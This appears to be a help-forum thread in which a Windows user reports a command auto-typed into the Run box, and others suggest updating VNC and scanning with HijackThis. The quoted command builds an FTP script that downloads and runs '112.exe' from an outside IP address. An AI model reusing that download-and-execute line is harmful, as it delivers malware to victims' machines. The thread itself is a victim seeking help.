Hello

I have a question : at random intervals the run window from start>Run pops up and starts populating with text that tries to do something

This is the command line :

cmd.exe /c del i&echo open 81.208.83.216 7085 > i&echo user 1 1 >> i &echo get 112.exe >> i &echo quit >> i &ftp -n -s:i &112.exe&del i&exit

I downloaded these programs against  rootkit : Sophos anti rootkit, rootkit revealer and Novatix cyberhawk.
Sophos scan didnt find out anything, so did cyberhawk. I dont understand the rootkit revealer log.
I do use VNC viewer 4.1
I also have spyware doctor, spyware blaster, registry mechanic and AVG AV with firewall.
Help would be very appreciated

Yes, you need to update your VNC. However, you probably have some trojan on your computer already.
So run something like HijackThis:

And remove anything suspicious. Do this after upgrading VNC.

What was the solution ultimately to your issue? Did kaspersky detect this, if so, what was the name it came up with? i think this info can help others that are having these issues.
Thanks!

kaspersky didnt find anything, but i have done the upgrade from the free version to the professional version of VNC viewer and the  problem has gone. Hijackthis didnt find anything as well. I'm still afraid that the trojan or whatever is still in my system.
